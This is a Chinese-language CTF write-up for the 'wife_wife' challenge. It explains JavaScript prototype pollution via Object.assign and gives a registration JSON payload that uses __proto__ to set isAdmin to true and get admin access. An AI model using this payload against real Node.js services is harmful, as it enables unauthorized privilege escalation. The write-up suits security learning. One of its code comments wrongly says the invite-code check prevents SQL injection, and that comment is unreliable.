姿勢(shì)
該題涉及Java Script原型鏈污染:JavaScript 原型鏈污染講解
可以看到,后端編程語(yǔ)言為Node.js,
簡(jiǎn)單來(lái)講,通過(guò) newUser.__proto__ 可以訪問(wèn)到新對(duì)象的原型
未污染時(shí):
baseUser = {
a:1
}
user = {
a:2,
b:1,
__proto__:{
c:3
}
}
// 淺復(fù)制一個(gè)對(duì)象,第一個(gè)參數(shù)位是對(duì)象的內(nèi)容,后面的參數(shù)位是多個(gè)對(duì)象內(nèi)容疊加進(jìn)去,進(jìn)行復(fù)制出一個(gè)全新的對(duì)象
let newUser = Object.assign({}, baseUser, user)
// 輸出結(jié)果為{a:2,b:1},無(wú)污染
console.log(newUser) // {a: 2, b: 1}
console.log(newUser.__proto__)
//{constructor: ?, __defineGetter__: ?, __defineSetter__: ?, hasOwnProperty: ?, __lookupGetter__: ?, …}
污染時(shí):
baseUser = {
a:1
}
user = JSON.parse(' {"a" : 2 , "b" : 3 , "__proto__" : { "c" : 4 }} ')
let newUser = Object.assign({}, baseUser, user)
console.log(newUser)//輸出{a: 2, b: 1}
console.log(newUser.__proto__) //被污染,輸出{c: 4},而__proto__沒(méi)有被輸出的原因是它為隱藏屬性
我們以知識(shí)點(diǎn)的利用為主,查看源代碼:
// post請(qǐng)求的路徑
app.post('/register', (req, res) => {
let user = JSON.parse(req.body) // 將輸入的賬號(hào)密碼從json字符串轉(zhuǎn)成對(duì)象
// 判斷有沒(méi)有輸入賬號(hào)和密碼
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
// 判斷賬號(hào)是否存在總對(duì)象的username里,若注冊(cè)時(shí)輸入的用戶名相同,則輸出用戶名已存在
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
//如果用戶是管理員但邀請(qǐng)碼不匹配,會(huì)將 user.isAdmin 設(shè)為 false,并返回一個(gè)錯(cuò)誤的 JSON 響應(yīng)。
//由于邀請(qǐng)碼是常量 INVITE_CODE,其值在代碼執(zhí)行期間不會(huì)發(fā)生變化。這意味著無(wú)論用戶提交的邀請(qǐng)碼是什么,其與 INVITE_CODE 的比較結(jié)果將在代碼執(zhí)行前就已經(jīng)確定。因此,無(wú)論用戶如何構(gòu)造輸入,都不能通過(guò)修改邀請(qǐng)碼來(lái)改變條件判斷的結(jié)果,防止了SQL注入。
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
// 使用系統(tǒng)函數(shù)復(fù)制對(duì)象,打包成一個(gè)新的對(duì)象
let newUser = Object.assign({}, baseUser, user)
users.push(newUser) // 存到總對(duì)象里
res.json({ msg: 'user created successfully', err: false }) // 設(shè)置返回信息
})
若isAdmin的屬性是true,則它為管理員,否則為普通用戶;于是我們可構(gòu)造污染。
注冊(cè)頁(yè)面抓包:
將
{"username":"1","password":"1","isAdmin":true,"inviteCode":"11"}
構(gòu)造為
{"username":"2","password":"1",
"__proto__":{
"isAdmin":true
}
}
//由于之前注冊(cè)過(guò)username為1,若重新注冊(cè)會(huì)回顯exist,因此這里將username修改為2
污染成功:
重新登錄得到flag:
總結(jié)
該題考察JavaScript 原型鏈污染,讀者可躬身實(shí)踐。文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-742123.html
我是秋說(shuō),我們下次見(jiàn)。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-742123.html
到了這里,關(guān)于[CTF/網(wǎng)絡(luò)安全] 攻防世界 wife_wife 解題詳析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!